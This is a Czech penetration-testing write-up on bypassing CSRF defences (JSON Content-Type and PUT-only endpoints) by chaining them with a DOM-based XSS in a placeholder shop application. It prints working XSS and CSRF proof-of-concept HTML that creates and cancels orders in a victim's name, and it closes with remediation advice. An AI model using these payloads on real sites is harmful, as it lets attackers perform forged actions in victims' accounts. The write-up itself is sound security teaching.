Bypass ochrany proti útoku CSRF
Ukážeme si obejití CSRF (Cross Site Request Forgery) ochrany implementovanou dvěma rozdílnými způsoby. Popisujeme případ z reálného penetračního testu z poslední doby (tedy ne, nebudeme využívat zranitelnosti Adobe Flash :) ). CSRF je jedna z metod útoku pracující na bázi provedení nezamýšleného požadavku pro vykonání autentizované akce v dané aplikaci, který ovšem pochází z nelegitimního zdroje. Podrobnější popis zde: https://owasp.org/www-community/attacks/csrf
Mezi první pokusy při testování webové aplikace na zranitelnost CSRF patří vyzkoušet následující:
- Záměna HTTP metod (GET za POST)
- Odeslání požadavku s prázdnou Referrer hlavičkou
- Odeslaní požadavku s prázdným CSRF tokenem
- Odeslaní požadavku bez hlavičky Content-Type
Dálší možnou zranitelností vedoucí k CSRF je stav, kdy anti-CSRF token je závislý na hodnotě session cookie. Pokud v takovém případě existuje i zranitelnost Session-Fixation, pak je možné předpovídat hodnotu anti-CSRF tokenu.
Testovaná aplikace nebyla zranitelná v žádném z těchto zmíněných učebnicových pokusů pro překonání obrany proti CSRF. Museli jsme se proto ponořit níže do problematiky a přijít s jiným řešením.
Během průběhu penetračních testů jsme zjistili následující:
- Testovaná aplikace obsahuje DOM-based XSS:
- Například zde: https://aplikace.cz/vyhledavani?search=a"><script>prompt(16)</script>
- Následující dvě funkcionality se zdají zranitelné:
- Vytvoření nové objednávky
- Zrušení objednávky
V nejjednodušších případech se pro potřeby PoC CSRF útoku vytvoří požadavek pomocí HTML tagu <form>.
Příkladem může být:
<html>
<body>
form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Takto jednoduše se postupuje pouze v případě, kdy není implementována žádná mitigace CSRF útoku, což není naše situace.
Zajímavostí je, že výše zmíněné 2 funkcionality mají odlišný přístup k mitigaci útoku CSRF. Jako PoC v obou případech vytvoříme tlačítko, které s kliknutím zajistí provedení privilegované akce jménem klikající přihlášené oběti. (Během reálného útoku by škodlivá stránka namísto zobrazení tlačítka rovnou odeslala požadavek pomocí Javascript direktivy "onload" a nikdo by nemusel nikam klikat.)
Začněme s prozkoumáním funkcionality pro uskutečnění objednávky.
Použitá Mitigace CSRF: Požadavek s hlavičkou Content-Type: application/json
Příklad uskutečnění nové objednávky:
Webový server vyžaduje v požadavku hlavičku Content-Type: application/json;. Bez této hlavičky nenaparsuje data a požadavek selže.
Není možné nastavit HTTP hlavičku při vytvoření požadavku pomocí tagu <form>
. Nabízí se možnost využít vlastnosti moderních prohlížečů a to odeslat XHR (XMLHttpRequest) požadavek. Avšak zde narážíme na problém, že nemůžeme udělat požadavek mezi dvěma různými doménami.
Anebo toto omezení není pro nás problémem? Můžeme přeci využít již nalezené XSS zranitelnosti v testované aplikaci! Požadavku iniciovanému javascriptovým kódem ze zranitelnosti XSS v téže aplikaci nevadí same-domain omezení . Následující kroky jsou již přímočaré.
1. Připravíme si JS kód odesílající XHR požadavek s vytvořením objednávky.
2. Vložíme výše zmíněný JS kód do existujícího XSS v aplikaci:
3. Připravíme si jednoduchý formulář s tlačítkem vhodným k podstrčení oběti pro vyvolaní GET požadavku s námi vygenerovaným payloadem.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aplikace.cz/vyhledavani">
<input type="hidden" name="search" value="a"><script>function objednej(){var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST", "/api/objednavka/nova"); xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xmlhttp.send(JSON.stringify({"ZboziID":[[6,16,27,35,46,49]],"Adresa":"AEC, Voctarova 20a, Praha 8, 180 00","ExpressDoruceni":1}));} objednej();</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Tímto jsme získali nevině vypadající tlačítko, které s kliknutím oběti vytvoří objednávku na její jméno v testované aplikaci, avšak s námi vybraným zbožím a doručovací adresou.
Použitá Mitigace CSRF: PUT Požadavek
Dále se podívejme, jak vytvořit obdobné tlačítko pro zrušení námi zvolené objednávky.
Požadavek pro zrušení objednávky:
Server akceptuje požadavky pouze při použití metody PUT.
Podobně jako v případu objednání zboží nelze použít HTML tag <form>
pro odeslání požadavku, protože tag <form> umožnuje pouze odeslání požadavku metodou GET a POST.
S využitím zkušeností z případu objednání zboží je ale i tato překážka pro nás hračkou. Znova využijeme přítomnou zranitelnost XSS k odeslání XHR požadavku, tentokrát v něm specifikujeme použití HTTP metody PUT. Postupujeme následovně:
1. Vytvoříme JS kód odesílající XHR požadavek pro zrušení objednávky například s id=1829093
2. Vložíme výše zmíněný JS kód do existujícího XSS v aplikaci
3. Připravíme si jednoduchý formulář s tlačítkem vhodným k podstrčení oběti pro vyvolaní GET požadavku s námi vygenerovaným payloadem.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aplikace.cz/vyhledavani">
<input type="hidden" name="search" value="a"><script>function zrus() {const xmlhttp = new XMLHttpRequest();xmlhttp.open('PUT', 'api/objednavka/cancel?id=1829093');xmlhttp.send();}zrus();</script>" />
<input type="submit" value="Zrus !" />
</form>
</body>
</html>
Závěrem
V obou případech jsme získali jednoduchý HTML kód, který ve jménu autentizované oběti vykoná námi zamýšlenou akci. (Ted už zbývá jenom přesvědčit oběť, aby klikla na naše připravené tlačítko 😈, nebo předpřipravený kód spustíme Javascript direktivou "onload" s načtením naší škodlivé stránky v prohlížeči oběti.)
Zajímavostí na závěr je fakt, že testovaná aplikace se nacházela v tomto stavu i po nahlášení CSRF a DOM-based XSS v minulých penetračních testech.
V obou rozebraných případech CSRF zranitelnosti by aktuální implementovaná mitigace dostačovala, pokud by nebyla přítomna zranitelnost reflected DOM-based XSS. Zde se velmi pěkně projevil fakt, že je vhodné se snažit aktivně předcházet možným zranitelnostem především nápravou všech reportovaných nedostatků a ne se věnovat pouze n8lezům s kritickou či vysokou mírou rizika. Často právě nálezy i s nízkou závažností přivedou útočníka na stopu, která může končit kompromitací celé aplikace.